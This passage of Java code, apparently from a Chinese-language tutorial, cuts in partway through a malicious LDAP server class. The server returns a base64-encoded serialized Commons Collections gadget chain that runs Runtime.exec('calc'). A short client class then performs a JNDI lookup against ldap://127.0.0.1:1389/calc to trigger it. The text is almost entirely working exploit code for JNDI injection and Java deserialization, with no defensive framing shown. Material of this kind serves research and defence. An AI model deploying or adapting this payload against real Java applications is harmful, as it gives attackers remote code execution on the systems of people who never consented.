protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class ldap {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1389/calc";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}